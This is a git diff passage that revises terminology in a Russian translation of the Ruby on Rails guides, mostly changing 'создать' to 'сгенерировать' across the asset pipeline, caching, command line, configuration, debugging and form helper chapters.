23:59:59 UTC +00:00 ``` -Аналогично `all_week`, `all_month`, `all_quarter` и `all_year` служат целям создания временных интервалов. +Аналогично `all_week`, `all_month`, `all_quarter` и `all_year` служат целям генерации временных интервалов. ```ruby now = Time.current diff --git a/source/api_app.md b/source/api_app.md index 844e29c9..e925cb27 100644 --- a/source/api_app.md +++ b/source/api_app.md @@ -69,7 +69,7 @@ ### Создание нового приложения -Можно создать новое приложение api Rails: +Можно сгенерировать новое приложение api Rails: ```bash $ rails new my_api --api diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index 9b4fcccd..e6942254 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -69,7 +69,7 @@ global-908e25f4bf641868d8683022a5b62f54.css Это стратегия, принятая файлопроводом Rails. -Прежней стратегией Rails было добавление строки запроса, основанной на дате, к каждому ресурсу, присоединенному с помощью встроенного хелпера. В исходнике созданный код выглядел так: +Прежней стратегией Rails было добавление строки запроса, основанной на дате, к каждому ресурсу, присоединенному с помощью встроенного хелпера. В исходнике сгенерированный код выглядел так: ``` /stylesheets/global.css?1309495796 @@ -123,7 +123,7 @@ WARNING: При использовании прекомпиляции ресур NOTE: Вам необходим runtime, поддерживаемый ExecJS, чтобы использовать CoffeeScript. Если используете macOS или Windows, у вас уже имеется JavaScript runtime, установленный в операционной системе. Обратитесь к документации по [ExecJS](https://github.com/rails/execjs#readme), чтобы узнать обо всех поддерживаемых JavaScript runtime-ах. -Отключить создание ресурсов при генерации контроллера можно, добавив следующее в конфигурацию `config/application.rb`: +Отключить генерацию ресурсов при генерации контроллера можно, добавив следующее в конфигурацию `config/application.rb`: ```ruby config.generators do |g| @@ -341,7 +341,7 @@ NOTE. Если хотите использовать несколько файл ### Предварительная обработка -Расширение, использованное для ресурса, определяет, какая будет применена предварительная обработка. Когда генерируется скаффолд или контроллер с помощью дефолтного набора гемов Rails, создадутся файл CoffeeScript и файл SCSS вместо обычных файлов JavaScript и CSS. В использованном ранее примере был контроллер с именем "projects", который создал файлы `app/assets/javascripts/projects.coffee` и `app/assets/stylesheets/projects.scss`. +Расширение, использованное для ресурса, определяет, какая будет применена предварительная обработка. Когда генерируется скаффолд или контроллер с помощью дефолтного набора гемов Rails, сгенерируются файл CoffeeScript и файл SCSS вместо обычных файлов JavaScript и CSS. В использованном ранее примере был контроллер с именем "projects", который сгенерировал файлы `app/assets/javascripts/projects.coffee` и `app/assets/stylesheets/projects.scss`. В режиме development или если отключен файлопровод, когда запрашиваются эти файлы, они обрабатываются процессорами, предоставленными гемами `coffee-script` и `sass`, а затем отдаются браузеру как JavaScript и CSS соответственно. Когда файлопровод включен, эти файлы обрабатываются и помещаются в директорию `public/assets` для раздачи или приложением Rails, или веб-сервером. @@ -400,7 +400,7 @@ config.assets.digest = false config.assets.debug = false ``` -Когда режим отладки отключен, Sprockets соединяет все файлы и запускает необходимые препроцессоры. С отключенным режимом отладки вышеуказанный манифест создаст: +Когда режим отладки отключен, Sprockets соединяет все файлы и запускает необходимые препроцессоры. С отключенным режимом отладки вышеуказанный манифест сгенерирует: ```html @@ -426,7 +426,7 @@ config.assets.debug = false В среде production Sprockets использует схему меток, [описанную ранее](#what-is-the-asset-pipeline). По умолчанию Rails полагает, что ресурсы прекомпилированы и будут отданы как статичные ресурсы вашим веб-сервером. -В течение фазы прекомпиляции из содержимого компилированных файлов создается SHA256 и вставляется в имена файлов, когда они записываются на диск. Эти имена меток используются хелперами Rails вместо имени манифеста. +В течение фазы прекомпиляции из содержимого компилированных файлов генерируется SHA256 и вставляется в имена файлов, когда они записываются на диск. Эти имена меток используются хелперами Rails вместо имени манифеста. Например, это: @@ -435,7 +435,7 @@ config.assets.debug = false <%= stylesheet_link_tag "application" %> ``` -создаст что-то наподобие этого: +сгенерирует что-то наподобие этого: ```html @@ -490,7 +490,7 @@ Rails.application.config.assets.precompile += %w( admin.js admin.css ) NOTE. Всегда определяйте ожидаемое имя скомпилированного файла, оканчивающееся на .js или .css, даже если хотите добавить в массив прекомпиляции файлы Sass или CoffeeScript. -Задача также создает `.sprockets-manifest-md5hash.json` (где `md5hash` - это хэш MD5), который содержит список всех ваших ресурсов и соответствующие им метки. Это используется методами хелпера Rails, чтобы избежать направления запроса в Sprockets. Обычный файл манифеста выглядит так: +Задача также генерирует `.sprockets-manifest-md5hash.json` (где `md5hash` - это хэш MD5), который содержит список всех ваших ресурсов и соответствующие им метки. Это используется методами хелпера Rails, чтобы избежать направления запроса в Sprockets. Обычный файл манифеста выглядит так: ```ruby {"files":{"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js":{"logical_path":"application.js","mtime":"2016-12-23T20:12:03-05:00","size":412383, @@ -607,7 +607,7 @@ config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com' ``` NOTE: Необходимо предоставить только "host", это поддомен и корневой домен, не нужно указывать протокол или "scheme", такие как `http://` или -`https://`. Когда запрашивается страница, протокол в созданной ссылке на ваш ресурс будет соответствовать тому, какой доступ к странице. +`https://`. Когда запрашивается страница, протокол в сгенерированной ссылке на ваш ресурс будет соответствовать тому, какой доступ к странице. Это значение также можно настроить с помощью [переменной среды](https://ru.wikipedia.org/wiki/Переменная_среды), чтобы упростить запуск staging-копий вашего сайта: @@ -623,7 +623,7 @@ NOTE: Чтобы это работало, вам необходимо устан <%= asset_path('smile.png') %> ``` -Вместо того, чтобы вернуть путь, такой как `/assets/smile.png` (метки опущены для читаемости), созданный URL будет содержать полный путь к вашему CDN. +Вместо того, чтобы вернуть путь, такой как `/assets/smile.png` (метки опущены для читаемости), сгенерированный URL будет содержать полный путь к вашему CDN. ``` http://mycdnsubdomain.fictional-cdn.com/assets/smile.png @@ -888,7 +888,7 @@ config.assets.debug = true # Не обращаться к файлопроводу, если отсутствует прекомпилированный ресурс config.assets.compile = false -# Создавать дайджесты для URL ресурсов. +# Генерировать дайджесты для URL ресурсов. config.assets.digest = true # Прекомпилировать дополнительные ресурсы (application.js, application.css и все diff --git a/source/autoloading_and_reloading_constants.md b/source/autoloading_and_reloading_constants.md index 7043a319..0a5be5cd 100644 --- a/source/autoloading_and_reloading_constants.md +++ b/source/autoloading_and_reloading_constants.md @@ -351,7 +351,7 @@ config.autoload_paths << "#{Rails.root}/lib" `config.autoload_paths` недоступна для изменения из конфигурационных файлов, относящихся к окружению. -Значение `autoload_paths` можно просмотреть. В только что созданном приложении она (отредактировано): +Значение `autoload_paths` можно просмотреть. В только что сгенерированном приложении она (отредактировано): ``` $ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths' diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index fb0d0b1a..175fbcbd 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -92,7 +92,7 @@ TIP: Хранилища кэша, такие как Memcached, автомати Можно вкладывать кэшированные фрагменты в другие кэшированные фрагменты. Это называется кэшированием матрешкой. -Преимуществом кэширования матрешкой является то, что если обновляется отдельный продукт, другие внутренние фрагменты могут быть повторно использованы при перегенерации внешнего фрагмента. +Преимуществом кэширования матрешкой является то, что если обновляется отдельный продукт, другие внутренние фрагменты могут быть повторно использованы при регенерации внешнего фрагмента. Как объяснялось в предыдущем разделе, кэш будет прекращен, если изменится значение `updated_at` для записи, от которой напрямую зависит этот кэш. Однако, это не прекратит любой кэш, в который вложен этот фрагмент. @@ -278,7 +278,7 @@ NOTE: Альтернативно можно вызвать `ActionController::Ba * `:expires_in` - Эта опция устанавливает время прекращения в секундах для записи кэша, когда она будет автоматически убрана из кэша. -* `:race_condition_ttl` - Эта опция используется в сочетании с опцией `:expires_in`. Она предотвращает гонку условий при прекращении записи кэша, предотвращая несколько процессов от одновременного пересоздания одной и той же записи (также известного как dog pile effect). Эта опция устанавливает количество секунд, в течение которых прекращенная запись кэша может использоваться, пока не будет пересоздана новая запись. Считается хорошей практикой установить это значение, если используется опция `:expires_in`. +* `:race_condition_ttl` - Эта опция используется в сочетании с опцией `:expires_in`. Она предотвращает гонку условий при прекращении записи кэша, предотвращая несколько процессов от одновременного регенерировать одной и той же записи (также известного как dog pile effect). Эта опция устанавливает количество секунд, в течение которых прекращенная запись кэша может использоваться, пока не будет регенерирована новая запись. Считается хорошей практикой установить это значение, если используется опция `:expires_in`. ### Произвольные хранилища кэша @@ -341,7 +341,7 @@ config.cache_store = :null_store Ключи кэша ---------- -Ключи, используемые в кэше могут быть любым объектом, отвечающим либо на `cache_key`, либо на `to_param`. Можно реализовать метод `cache_key` в своем классе, если необходимо создать произвольный класс. Active Record создает ключи, основанные на имени класса и id записи. +Ключи, используемые в кэше могут быть любым объектом, отвечающим либо на `cache_key`, либо на `to_param`. Можно реализовать метод `cache_key` в своем классе, если необходимо сгенерировать обычные ключи. Active Record генерирует ключи, основанные на имени класса и id записи. Как ключи хэша можно использовать хэши и массивы. @@ -434,7 +434,7 @@ end ### Сильные против слабых ETag -Rails по умолчанию генерирует слабые ETag. Слабые ETag позволяют семантически эквивалентным откликам иметь одинаковые ETag, даже если их тела не имеют точного совпадения. Это полезно, когда мы не хотим, чтобы страница заново генерировалась для небольших изменений в теле отклика. +Rails по умолчанию генерирует слабые ETag. Слабые ETag позволяют семантически эквивалентным откликам иметь одинаковые ETag, даже если их тела не имеют точного совпадения. Это полезно, когда мы не хотим, чтобы страница регенерировалась для небольших изменений в теле отклика. У слабых ETags имеется начальный `W/`, чтобы отличить их от сильных ETag. diff --git a/source/command_line.md b/source/command_line.md index ef43aa43..c2606dfb 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -4,7 +4,7 @@ После прочтения этого руководства, вы узнаете * Как создать приложение на Rails -* Как создать модели, контроллеры, миграции базы данных и юнит-тесты +* Как генерировать модели, контроллеры, миграции базы данных и юнит-тесты * Как запустить сервер для разработки * Как экспериментировать с объектами в интерактивной оболочке @@ -157,7 +157,7 @@ $ bin/rails generate controller Greetings hello create app/assets/stylesheets/greetings.scss ``` -Что создалось? Создался ряд директорий в нашем приложении, и создались файл контроллера, файл вьюхи, файл функционального теста, хелпер для вьюхи, файл JavaScript и файл таблицы стилей. +Что это сгенерировало? Создался ряд директорий в нашем приложении, и создались файл контроллера, файл вьюхи, файл функционального теста, хелпер для вьюхи, файл JavaScript и файл таблицы стилей. Давайте проверим наш контроллер и немного его изменим (в `app/controllers/greetings_controller.rb`): @@ -208,7 +208,7 @@ Description: NOTE: Список доступных типов полей для параметра `type` можно узнать в [документации API](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column) для метода add_column модуля `SchemaStatements`. Параметр `index` генерирует соответствующий индекс для столбца. -Но вместо создания модели непосредственно (что мы сделаем еще позже), давайте создадим каркас (scaffold). **Скаффолд** в Rails - это полный набор из модели, миграции базы данных для этой модели, контроллер для воздействия на нее, вьюхи для просмотра и обращения с данными и тестовый набор для всего этого. +Но вместо генерации модели непосредственно (что мы сделаем еще позже), давайте создадим каркас (scaffold). **Скаффолд** в Rails - это полный набор из модели, миграции базы данных для этой модели, контроллер для воздействия на нее, вьюхи для просмотра и обращения с данными и тестовый набор для всего этого. Давайте настроим простой ресурс, названный "HighScore", который будет отслеживать наши лучшие результаты в видеоиграх, в которые мы играли. @@ -345,7 +345,7 @@ $ bin/rails runner lib/code_to_be_run.rb ### `rails destroy` -Воспринимайте `destroy` как противоположность `generate`. Она выясняет, что было создано, и отменяет это. +Воспринимайте `destroy` как противоположность `generate`. Она выясняет, что было сгенерировано, и отменяет это. INFO: Также можно использовать псевдоним "d" для вызова команды destroy: `rails d`. @@ -644,6 +644,6 @@ development: ... ``` -Это также создало несколько строк в нашей конфигурации database.yml, соответствующих нашему выбору PostgreSQL как базы данных. +Это также сгенерирует несколько строк в нашей конфигурации database.yml, соответствующих нашему выбору PostgreSQL как базы данных. -NOTE. Единственная хитрость с использованием опции SCM состоит в том, что сначала нужно создать директорию для приложения, затем инициализировать ваш SCM, и лишь затем можно запустить команду `rails new` для создания основы вашего приложения. +NOTE. Единственная хитрость с использованием опции SCM состоит в том, что сначала нужно создать директорию для приложения, затем инициализировать ваш SCM, и лишь затем можно запустить команду `rails new` для генерация основы вашего приложения. diff --git a/source/configuring.md b/source/configuring.md index 28dfbc16..368ffba9 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -190,7 +190,7 @@ end Полный перечень методов, которые можно использовать в этом блоке, следующий: -* `assets` позволяет создавать ресурсы при построении скаффолда. По умолчанию `true`. +* `assets` позволяет создавать ресурсы при генерации скаффолда. По умолчанию `true`. * `force_plural` позволяет имена моделей во множественном числе. По умолчанию `false`. @@ -200,19 +200,19 @@ end * `javascripts` включает в генераторах хук для файлов Javascript. Используется в Rails при запуске генератора `scaffold`. По умолчанию `true`. -* `javascript_engine` конфигурирует используемый движок (например, coffee) при создании ресурсов. По умолчанию `js`. +* `javascript_engine` конфигурирует используемый движок (например, coffee) при генерации ресурсов. По умолчанию `js`. * `orm` определяет используемую orm. По умолчанию `false` и используется Active Record. -* `resource_controller` определяет используемый генератор для создания контроллера при использовании `rails generate resource`. По умолчанию `:controller`. +* `resource_controller` определяет используемый генератор для генерация контроллера при использовании `rails generate resource`. По умолчанию `:controller`. * `resource_route` определяет нужно ли генерировать определение ресурсного маршрута или нет. По умолчанию `true`. -* `scaffold_controller`, отличающийся от `resource_controller`, определяет используемый генератор для создания _скаффолдингового_ контроллера при использовании `rails generate scaffold`. По умолчанию `:scaffold_controller`. +* `scaffold_controller`, отличающийся от `resource_controller`, определяет используемый генератор для генерации _скаффолдингового_ контроллера при использовании `rails generate scaffold`. По умолчанию `:scaffold_controller`. * `stylesheets` включает в генераторах хук для таблиц стилей. Используется в Rails при запуске генератора `scaffold` , но этот хук также может использоваться в других генераторах. По умолчанию `true`. -* `stylesheet_engine` конфигурирует используемый при создании ресурсов движок CSS (например, sass). По умолчанию `:css`. +* `stylesheet_engine` конфигурирует используемый при генерации ресурсов движок CSS (например, sass). По умолчанию `:css`. * `scaffold_stylesheet` создает `scaffold.css` при генерации скаффолдингового ресурса. По умолчанию `true`. @@ -395,7 +395,7 @@ config.middleware.delete Rack::MethodOverride Дампер схемы добавляет дополнительную конфигурационную опцию: -* `ActiveRecord::SchemaDumper.ignore_tables` принимает массив таблиц, которые _не_ должны быть включены в любой создаваемый файл схемы. Эта настройка будет проигнорирована в любом случае, кроме `ActiveRecord::Base.schema_format == :ruby`. +* `ActiveRecord::SchemaDumper.ignore_tables` принимает массив таблиц, которые _не_ должны быть включены в любой генерируемый файл схемы. Эта настройка будет проигнорирована в любом случае, кроме `ActiveRecord::Base.schema_format == :ruby`. ### Конфигурирование Action Controller @@ -543,7 +543,7 @@ config.middleware.delete Rack::MethodOverride * `config.action_view.debug_missing_translation` определяет, должны ли ключи отсутствующих переводов оборачиваться в тег ``. Это по умолчанию `true`. -* `config.action_view.form_with_generates_remote_forms` определяет, должны ли `form_with` создавать remote формы или нет. Это по умолчанию `true`. +* `config.action_view.form_with_generates_remote_forms` определяет, должны ли `form_with` генерировать remote формы или нет. Это по умолчанию `true`. ### (configuring-action-mailer) Конфигурирование Action Mailer @@ -937,7 +937,7 @@ development: По умолчанию Rails ожидает, что ваше приложение запускается в корне (т.е. `/`). Этот раздел объяснит, как запустить ваше приложение внутри директории. -Допустим, мы хотим задеплоить наше приложение в "/app1". Rails необходимо знать эту директорию для создания подходящих маршрутов: +Допустим, мы хотим задеплоить наше приложение в "/app1". Rails необходимо знать эту директорию для генерации подходящих маршрутов: ```ruby config.relative_url_root = "/app1" @@ -1000,7 +1000,7 @@ server { * `ENV["RAILS_RELATIVE_URL_ROOT"]` используется кодом роутинга для распознания URL при [деплое вашего приложение в поддиректории](#deploy-to-a-subdirectory-relative-url-root). -* `ENV["RAILS_CACHE_ID"]` и `ENV["RAILS_APP_VERSION"]` используются для создания расширенных ключей кэша в коде кэширования Rails. Это позволит иметь несколько отдельных кэшей в одном и том же приложении. +* `ENV["RAILS_CACHE_ID"]` и `ENV["RAILS_APP_VERSION"]` используются для генерация расширенных ключей кэша в коде кэширования Rails. Это позволит иметь несколько отдельных кэшей в одном и том же приложении. (initialization) Использование файлов инициализаторов ----------------------------------------------------- diff --git a/source/contributing_to_ruby_on_rails.md b/source/contributing_to_ruby_on_rails.md index 80b1bcbd..20a4135e 100644 --- a/source/contributing_to_ruby_on_rails.md +++ b/source/contributing_to_ruby_on_rails.md @@ -200,7 +200,7 @@ $ cd rails $ bundle exec rails new ~/my-test-app --dev ``` -Приложение, созданное в `~/my-test-app` запускается на вашей локальной ветке, и, в частности, видит любые изменения после перезагрузки сервера. +Приложение, сгенерированное в `~/my-test-app` запускается на вашей локальной ветке, и, в частности, видит любые изменения после перезагрузки сервера. ### Пишите свой код diff --git a/source/debugging_rails_applications.md b/source/debugging_rails_applications.md index b1d09bc1..391d5765 100644 --- a/source/debugging_rails_applications.md +++ b/source/debugging_rails_applications.md @@ -21,7 +21,7 @@ ### `debug` -Хелпер `debug` возвратит тег \
    , который рендерит объект, с использованием формата YAML. Это создаст читаемые данные из объекта. Например, если у вас такой код во вьюхе:
    +Хелпер `debug` возвратит тег \
    , который рендерит объект, с использованием формата YAML. Это сгенерирует читаемые данные из объекта. Например, если у вас такой код во вьюхе:
     
     ```html+erb
     <%= debug @article %>
    @@ -170,7 +170,7 @@ class ArticlesController < ApplicationController
     end
     ```
     
    -Пример лога, сгенерированного при выполнении экшена контроллера:
    +Пример лога, сгенерированного при выполнении экшна контроллера:
     
     ```
     Processing ArticlesController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
    @@ -746,7 +746,7 @@ Web Console немного похож на `byebug`, но запускается
     
     ### Консоль
     
    -Внутри экшена контроллера или вьюхи, вы можете вызвать консоль с помощью метода `console`.
    +Внутри экшна контроллера или вьюхи, вы можете вызвать консоль с помощью метода `console`.
     
     Например, в контроллере:
     
    diff --git a/source/form_helpers.md b/source/form_helpers.md
    index b8deb5aa..1e5baace 100644
    --- a/source/form_helpers.md
    +++ b/source/form_helpers.md
    @@ -1,13 +1,13 @@
     Хелперы форм
     ============
     
    -Формы в веб-приложениях - это основной интерфейс для пользовательского ввода. Однако, разметка форм может быстро стать нудной в написании и поддержке из-за необходимости описывать элементы форм и их бесчисленные атрибуты. Rails устраняет эту сложность, предоставляя хелперы вьюх для разметки форм. Однако, поскольку эти хелперы имеют разные принципы использования, разработчикам нужно знать различия между похожими методами хелперов, прежде чем начать их использовать.
    +Формы в веб-приложениях - это основной интерфейс для пользовательского ввода. Однако, разметка форм может быстро стать нудной в написании и поддержке из-за необходимости обрабатывать имена элементов управления формы и их бесчисленные атрибуты. Rails устраняет эту сложность, предоставляя хелперы вьюх для генерации разметки форм. Однако, поскольку эти хелперы имеют разные принципы использования, разработчикам нужно знать различия между похожими методами хелперов, прежде чем начать их использовать.
     
     После прочтения этого руководства, вы узнаете:
     
     * Как создавать формы поиска и подобного рода формы, не представляющие определенную модель вашего приложения
    -* Как создавать модельно-ориентированные формы для создания и редактирования определенных записей базы данных
    -* Как создавать списки выбора с различными типами данных
    +* Как сделать модельно-ориентированные формы для создания и редактирования определенных записей базы данных
    +* Как сгенерировать списки выбора с различными типами данных
     * Какие хелперы даты и времени предоставляет Rails
     * В чем особенность формы загрузки файлов
     * Как отправлять формы на внешние ресурсы и указывать настройку `authenticity_token`.
    @@ -59,7 +59,7 @@ NOTE: Это руководство не является подробной д
     <% end %>
     ```
     
    -Это создаст следующий HTML:
    +Это сгенерирует следующий HTML:
     
     ```html
     
    @@ -87,14 +87,14 @@ form_tag(controller: "people", action: "search", method: "get", class: "nifty_fo # => '' ``` -Здесь методы `method` и `class` присоединены к строке запроса сгенерированного URL, поскольку, хотя вы и хотели передать два хэша, фактически вы передали один. Чтобы сообщить об этом Ruby, следует выделить первый хэш (или оба хэша) фигурными скобками. Это создаст HTML, который вы ожидаете: +Здесь методы `method` и `class` присоединены к строке запроса сгенерированного URL, поскольку, хотя вы и хотели передать два хэша, фактически вы передали один. Чтобы сообщить об этом Ruby, следует выделить первый хэш (или оба хэша) фигурными скобками. Это сгенерирует HTML, который вы ожидаете: ```ruby form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_form") # => '' ``` -### Хелперы для создания элементов формы +### Хелперы для генерации элементов формы Rails предоставляет ряд хелперов для генерации элементов формы, таких как чекбоксы, текстовые поля, радиокнопки и так далее. Эти простые хелперы с именами, оканчивающимися на `_tag` (такие как `text_field_tag` и `check_box_tag`), генерируют только один элемент ``. Первый параметр у них это всегда имя поля ввода. Когда форма будет отправлена, имя будет передано вместе с данными формы, и, в свою очередь, помещено в `params` в контроллере со значением, введенным пользователем для этого поля. Например, если форма содержит `<%= text_field_tag(:query) %>`, то значение этого поля можно получить в контроллере с помощью `params[:query]`. @@ -111,7 +111,7 @@ Rails предоставляет ряд хелперов для генераци <%= label_tag(:pet_cat, "I own a cat") %> ``` -Это создаст следующее: +Это сгенерирует следующее: ```html @@ -358,7 +358,7 @@ form_tag(search_path, method: "patch") Легкое создание списков выбора ------------------------------ -Списки выбора в HTML требуют значительного количества разметки (один элемент `OPTION` для каждого варианта выбора), поэтому целесообразнее создавать их динамически. +Списки выбора в HTML требуют значительного количества разметки (один элемент `OPTION` для каждого варианта выбора), поэтому целесообразнее генерировать их динамически. Вот как может выглядеть разметка: @@ -375,13 +375,13 @@ form_tag(search_path, method: "patch") ### Теги Select и Option -Наиболее простой хелпер - это `select_tag`, который, как следует из имени, просто создает тег `SELECT`, инкапсулирующий строку option (вариантов выбора): +Наиболее простой хелпер - это `select_tag`, который, как следует из имени, просто сгенерирует тег `SELECT`, инкапсулирующий строку option (вариантов выбора): ```erb <%= select_tag(:city_id, '...') %> ``` -Это закладывает начало, но пока еще динамически не создает теги вариантов выбора. Вы можете создать теги option с помощью хелпера `options_for_select`: +Это закладывает начало, но пока еще динамически не создает теги вариантов выбора. Вы можете сгенерировать теги option с помощью хелпера `options_for_select`: ```html+erb <%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %> @@ -413,7 +413,7 @@ form_tag(search_path, method: "patch") ... ``` -Всякий раз, когда Rails видит, что внутреннее значение создаваемого варианта выбора соответствует этому значению, он добавит атрибут `selected` к этому варианту. +Всякий раз, когда Rails видит, что внутреннее значение сгенерированного варианта выбора соответствует этому значению, он добавит атрибут `selected` к этому варианту. WARNING: Когда отсутствует `:include_blank` или `:prompt`, `:include_blank` становится true, если атрибут `required` - true, отображаемый `size` - 1 и `multiple` не равен true. @@ -471,7 +471,7 @@ WARNING: При использовании `select` (или подобных х ### Теги варианта выбора из коллекции произвольных объектов -Создание тегов вариантов с помощью `options_for_select` требует, чтобы был создан массив, содержащий текст и значение для каждого варианта. Но что, если есть модель `City` (вероятно даже модель Active Record) и нужно создать теги вариантов из коллекции этих объектов? Одним из решений будет сделать вложенный массив с помощью итераций по ним: +Генерация тегов вариантов с помощью `options_for_select` требует, чтобы был создан массив, содержащий текст и значение для каждого варианта. Но что, если есть модель `City` (вероятно даже модель Active Record) и нужно сгенерировать теги вариантов из коллекции этих объектов? Одним из решений будет сделать вложенный массив с помощью итераций по ним: ```erb <% cities_array = City.all.map { |city| [city.name, city.id] } %> @@ -484,7 +484,7 @@ WARNING: При использовании `select` (или подобных х <%= options_from_collection_for_select(City.all, :id, :name) %> ``` -Как следует из имени хелпера, это генерирует только теги option. Для создания работающего списка выбора, его необходимо использовать в сочетании с `select_tag`, как это делалось для `options_for_select`. Когда работаем с объектами модели, так же как `select` комбинирует `select_tag` и `options_for_select`, `collection_select` комбинирует `select_tag` с `options_from_collection_for_select`. +Как следует из имени хелпера, это генерирует только теги option. Для генерации работающего списка выбора, его необходимо использовать в сочетании с `select_tag`, как это делалось для `options_for_select`. Когда работаем с объектами модели, так же как `select` комбинирует `select_tag` и `options_for_select`, `collection_select` комбинирует `select_tag` с `options_from_collection_for_select`. ```erb <%= collection_select(:person, :city_id, City.all, :id, :name) %> @@ -502,7 +502,7 @@ NOTE: Пары, переданные в `options_for_select` должны спе ### Выбор часового пояса и страны -Для управления поддержкой часовых поясов в Rails, можете спрашивать своих пользователей, в какой зоне они находятся. Это потребует создать варианты выбора из списка предопределенных объектов TimeZone, используя `collection_select`, но вы можете просто использовать хелпер `time_zone_select`, который уже все это содержит: +Для управления поддержкой часовых поясов в Rails, можно спрашивать своих пользователей, в какой зоне они находятся. Это потребует сгенерировать варианты выбора из списка предопределенных объектов TimeZone, используя `collection_select`, но вы можете просто использовать хелпер `time_zone_select`, который уже все это содержит: ```erb <%= time_zone_select(:person, :time_zone) %> @@ -515,7 +515,7 @@ NOTE: Пары, переданные в `options_for_select` должны спе Использование хелперов даты и времени ------------------------------------- -Можно выбрать не использовать хелперы форм, создающие поля ввода даты и времени HTML5, а использовать альтернативные хелперы даты и времени. Эти хелперы даты и времени отличаются от остальных хелперов форм в двух важных аспектах: +Можно выбрать не использовать хелперы форм, генерирующие поля ввода даты и времени HTML5, а использовать альтернативные хелперы даты и времени. Эти хелперы даты и времени отличаются от остальных хелперов форм в двух важных аспектах: * Дата и время не представлены отдельным элементом ввода. Вместо них есть несколько, один на каждый компонент (год, месяц, день и т.д.), и поэтому нет одного значения в хэше `params` с вашими датой и временем. * Другие хелперы используют суффикс `_tag` для обозначения, является ли хелпер скелетным, либо работает на основе объектов модели. Что касается дат и времени, `select_date`, `select_time` и `select_datetime` - это скелетные хелперы, а `date_select`, `time_select` и `datetime_select` - это эквивалентные хелперы объекта модели. @@ -572,7 +572,7 @@ Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, pa ### Общие опции -Оба семейства хелперов используют одинаковый базовый набор функций для создания индивидуальных тегов select, таким образом, они оба принимают в основном одинаковые опции. В частности, по умолчанию Rails создаст варианты выбора года как текущий год плюс/минус пять лет. Если это неподходящий диапазон, опции `:start_year` и `:end_year` переопределяют это. Для полного списка доступных опции обратитесь к [документации по API](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). +Оба семейства хелперов используют одинаковый базовый набор функций для генерации индивидуальных тегов select, таким образом, они оба принимают в основном одинаковые опции. В частности, по умолчанию Rails сгенерирует варианты выбора года как текущий год плюс/минус пять лет. Если это неподходящий диапазон, опции `:start_year` и `:end_year` переопределяют это. Для полного списка доступных опции обратитесь к [документации по API](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). Как правило, следует использовать `date_select` при работе с объектами модели и `select_date` в иных случаях, например, таких как форма поиска, которая фильтрует результаты по дате. @@ -580,7 +580,7 @@ NOTE: В большинстве случаев встроенные элемен ### Индивидуальные компоненты -Иногда необходимо отобразить лишь одиночный компонент даты, такой как год или месяц. Rails предоставляет ряд хелперов для этого, по одному для каждого компонента `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. Эти хелперы достаточно простые. По умолчанию они создадут поле ввода, названное по имени компонента времени (например, "year" для `select_year`, "month" для `select_month` и т.д.), хотя это может быть переопределено в опции `:field_name`. Опция `:prefix` работает так же, как работает для `select_date` и `select_time` и имеет такое же значение по умолчанию. +Иногда необходимо отобразить лишь одиночный компонент даты, такой как год или месяц. Rails предоставляет ряд хелперов для этого, по одному для каждого компонента `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. Эти хелперы достаточно простые. По умолчанию они сгенерируют поле ввода, названное по имени компонента времени (например, "year" для `select_year`, "month" для `select_month` и т.д.), хотя это может быть переопределено в опции `:field_name`. Опция `:prefix` работает так же, как работает для `select_date` и `select_time` и имеет такое же значение по умолчанию. Первый параметр определяет значение даты, которое будет предложено для выбора (соответствующий элемент может быть извлечен из экземпляра `Date`, `Time` или `DateTime`), либо сразу задается числовым значением. Например: @@ -623,7 +623,7 @@ def upload end ``` -Как только файл был загружен, появляется множество потенциальных задач, начиная от того, где хранить файлы (на диске, Amazon S3 и т.д.), и как связать их с моделями, до изменения размера файлов изображений и создания эскизов. Такие частности выходят за рамки данного руководства, но имеется несколько библиотек, разработанных для содействия этому. Две лучших из них - это [CarrierWave](https://github.com/jnicklas/carrierwave) и [Paperclip](https://www.thoughtbot.com/projects/paperclip). +Как только файл был загружен, появляется множество потенциальных задач, начиная от того, где хранить файлы (на диске, Amazon S3 и т.д.), и как связать их с моделями, до изменения размера файлов изображений и генерации эскизов. Такие частности выходят за рамки данного руководства, но имеется несколько библиотек, разработанных для содействия этому. Две лучших из них - это [CarrierWave](https://github.com/jnicklas/carrierwave) и [Paperclip](https://www.thoughtbot.com/projects/paperclip). NOTE: Если пользователь не выбрал файл, соответствующий параметр останется пустой строкой. @@ -682,7 +682,7 @@ Form builder также определяет, что произойдет, ес Как вы видели в предыдущих разделах, значения из форм могут быть на верхнем уровне хэша `params` или вложены в другой хэш. Например, в стандартном экшне `create` для модели Person, `params[:person]` будет обычно хэшем всех атрибутов для создания персоны. Хэш `params` может также содержать массивы, массивы хэшей и тому подобное. -В основном формы HTML не знают о каких-либо структурировании данных, все, что они создают - это пары имя-значение, где пары являются обычными строками. Массивы и хэши, которые можно увидеть в своем приложении, - это результат некоторых соглашений по именованию параметров, которые использует Rails. +В основном формы HTML не знают о каких-либо структурировании данных, все, что они генерируют - это пары имя-значение, где пары являются обычными строками. Массивы и хэши, которые можно увидеть в своем приложении, - это результат некоторых соглашений по именованию параметров, которые использует Rails. ### Базовые структуры @@ -734,7 +734,7 @@ Form builder также определяет, что произойдет, ес Это приведет к тому, что `params[:addresses]` будет массивом хэшей с ключами `line1`, `line2` и `city`. Rails начинает накапливать значения в новый хэш, всякий раз, когда он встречает имя поля ввода, уже существующее в текущем хэше. -Однако, имеется ограничение, в то время как хеши могут быть вложены произвольно, является допустимым только один уровень "массивности". Массивы обычно могут быть заменены хэшами; например, вместо массива объектов модели можно иметь хэш объектов модели с 